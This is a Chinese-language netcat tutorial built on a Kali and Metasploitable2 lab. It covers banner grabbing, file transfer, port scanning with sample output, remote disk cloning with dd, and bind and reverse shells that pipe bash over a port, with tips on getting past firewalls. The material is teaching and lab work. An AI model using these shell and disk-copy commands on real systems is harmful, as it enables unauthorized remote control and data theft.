Netcat 常被称为网络工具中的瑞士军刀,以体积小(可执行 200KB)功能灵活而著称。
不同系统平台的 nc 参数功能不尽相同
在 debian/ubuntu 下面:
1 | readlink -f $(which nc) |
看看,结果会有两种:
- /bin/nc.traditional: 默认 GNU 基础版本,一般系统自带。
- /bin/nc.openbsd: openbsd 版本,强大很多。
可以用 apt-get install nc-traditional 或者 apt-get install nc-openbsd 来选择安装。不管是 gnu 版本还是 openbsd 版本,都有新老的区别,主要是传送文件时 stdin 发生 EOF 了,老版本会自动断开,而新的 gnu/openbsd 还会一直连着。
语法
nc [-hlnruz][-g<网关…>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v…][-w<超时秒数>][主机名称][通信端口…]
参数说明
- -g<网关> 设置路由器跃程通信网关,最多可设置8个。
- -G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
- -h 在线帮助。
- -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
- -l 使用监听模式,管控传入的资料。
- -n 直接使用IP地址,而不通过域名服务器。
- -o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
- -p<通信端口> 设置本地主机使用的通信端口。
- -r 乱数指定本地与远端主机的通信端口。
- -s<来源位址> 设置本地主机送出数据包的IP地址。
- -u 使用UDP传输协议。
- -v 显示指令执行过程。
- -w<超时秒数> 设置等待连线的时间。
- -z 使用0输入/输出模式,只在扫描通信端口时使用。
1. telnet / banner
查看 163 邮箱的 banner 信息
1 | 找到 163 邮箱的 ip 地址 |
- -v 显示命令执行过程中的详细信息
- -n 不作域名解析
pop3 传入的数据需要进行 base64 编码:
$ base64
输入需要进行 base64编码的文本
ctrl + d 获得结果
通过 netcat 连接我的 metasploitable2(192.168.1.106)
1 | nc -nv 192.168.1.106:80 |
2. 传输文本信息
远程电子取证信息收集
通过 metasploitable2(192.168.1.106) 与 kali 两台虚机来演示
metasploitable2 上查看预使用的端口是否被占用:
1 | sudo netstat -pantu | grep 333 |
无输出表明 333 端口未占用
metasploitable2 用 nc 监听 333端口:
1 | sudo nc -l -p 333 |
kali 上使用 nc 连接 metasploitable2:
1 | sudo nc -nv 192.168.1.106 333 |
将 metasploitable2 上信息传至 kali(192.168.1.108)
1 | kali 上打开监听端口,并将内容存储到 ps.txt |
3. 传输文件/目录
- 传输文件
- A(接收端):nc -lp 333 > 1.mp4
- B(发送端):nc -nv 1.1.1.1 333 < 1.mp4 -q 1
- 或
- A(发送端):nc -q 1 -lp 333 < a.mp4 -q 1
- 等待其他人连接 333 端口下载 a.mp4
- B(接收端): nc -nv 1.1.1.1 333 > 2.mp4
- 传输目录
- A(发送端):tar -cvf music/ | nc -lp 333 -q 1
- 被动等接收 -cvf 打包
- B:nc -nv 1.1.1.1 333 | tar -xvf
- -xvf 解包
- A(发送端):tar -cvf music/ | nc -lp 333 -q 1
- 加密传文件(利用系统的 mcrypt 加密)
- A(接收端,解密):nc -lp 333 | mcrypt –flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
- mcrypt 解密,加密算法
- 解密完成后 flush,本地不留缓存
- B(发送端,加密):mcrypt –flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
- A(接收端,解密):nc -lp 333 | mcrypt –flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
4. 流媒体服务
- A(服务器):cat 1.mp4 | nc -lp 333
- B(客户端):nc -nv 1.1.1.1 333 | mplayer -vo xll -cache 3000 -
- mplayer 媒体播放器(支持命令行)
5. 端口扫描
默认使用 tcp 去探测,探测到的也是 tcp 端口
每个扫描器不一定完全准确,可以多使用几款工具和方式来扫描
nc 准确性没 nmap 等工具高,可作为参考
- nc -nvz 1.1.1.1 1-65535
- tcp
- nc -nvzu 1.1.1.1
- udp(可能不准确)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
3210.0.0.50 metasploitable2 ip地址,相当于前文的 192.168.1.106
nc -nvz 10.0.0.50 1-65535
(UNKNOWN) [10.0.0.50] 54951 (?) open
(UNKNOWN) [10.0.0.50] 48585 (?) open
(UNKNOWN) [10.0.0.50] 44601 (?) open
(UNKNOWN) [10.0.0.50] 36467 (?) open
(UNKNOWN) [10.0.0.50] 8787 (?) open
(UNKNOWN) [10.0.0.50] 8180 (?) open
(UNKNOWN) [10.0.0.50] 8009 (?) open
(UNKNOWN) [10.0.0.50] 6697 (ircs-u) open
(UNKNOWN) [10.0.0.50] 6667 (ircd) open
(UNKNOWN) [10.0.0.50] 6000 (x11) open
(UNKNOWN) [10.0.0.50] 5900 (?) open
(UNKNOWN) [10.0.0.50] 5432 (postgresql) open
(UNKNOWN) [10.0.0.50] 3632 (distcc) open
(UNKNOWN) [10.0.0.50] 3306 (mysql) open
(UNKNOWN) [10.0.0.50] 2121 (iprop) open
(UNKNOWN) [10.0.0.50] 2049 (nfs) open
(UNKNOWN) [10.0.0.50] 1524 (ingreslock) open
(UNKNOWN) [10.0.0.50] 1099 (rmiregistry) open
(UNKNOWN) [10.0.0.50] 514 (shell) open
(UNKNOWN) [10.0.0.50] 513 (login) open
(UNKNOWN) [10.0.0.50] 512 (exec) open
(UNKNOWN) [10.0.0.50] 445 (microsoft-ds) open
(UNKNOWN) [10.0.0.50] 139 (netbios-ssn) open
(UNKNOWN) [10.0.0.50] 111 (sunrpc) open
(UNKNOWN) [10.0.0.50] 80 (http) open
(UNKNOWN) [10.0.0.50] 53 (domain) open
(UNKNOWN) [10.0.0.50] 25 (smtp) open
(UNKNOWN) [10.0.0.50] 23 (telnet) open
(UNKNOWN) [10.0.0.50] 22 (ssh) open
(UNKNOWN) [10.0.0.50] 21 (ftp) open
- udp(可能不准确)
6. 远程克隆硬盘
操作系统上删除文件时,磁盘的磁头不会对每一位都初始化,只是在操作系统层删除(标记删除),实际上硬盘上的每个扇区、每个磁道、每一位还是完整存在,所以删除的文件可以还原,除非被覆盖了。
dd 硬盘块级别的备份,每一位是0还是1镜像复制
- A(接收端):nc -lp 333 | dd of=/dev/sda
- /dev/sda 挂的硬盘
- B(发送端):dd if=/dev/sda | nc -nv 1.1.1.1 333 -q l
远程电子取证,可以将目标服务器硬盘远程复制
7. 远程控制
nc 建立连接后,被控的可以是客户端,也可以是服务器端
- 正向
- A(被控端):nc -lp 333 -c bash
- 将 bash 传到 333 端口
- B(控制端):nc -nv 1.1.1.1 333
1
2
3
4
5
6
7
8(metasploitable2) $ sudo nc -lp 333 -c bash
(kali) $ nc -nv 1.1.1.1 333
(UNKNOWN) [10.0.0.50] 333 (?) open
ls
vulnerable
pwd
/home/msfadmin
- A(被控端):nc -lp 333 -c bash
- 反向
- A(控制端):nc -lp 333
- B(被控端):nc -nv 1.1.1.1 333 -c bash
- windows 将 bash 改成 cmd
- 可能由于防火墙等等原因,控制端(攻击方)连不上被控端(目标),此时可以采用反向,让目标机主动来连攻击方。
- 外向内限制 or 内向外限制
8. ncat
- netcat 缺乏加密(明文传输)
- netcat 缺乏身份验证能力
ncat 可以弥补 netcat 缺乏加密、身份验证的能力
ncat 包含于 nmap 工具包中
- A:ncat -c bash -allow 1.1.1.1 -vnl 333 -ssl
- -allow 允许连接的 ip 地址
- -ssl 加密方式 (整个管道都会加密)
- B:ncat -nv 1.1.1.1 333 –ssl
连接时会先交换 ssl fingerprint m
————————————————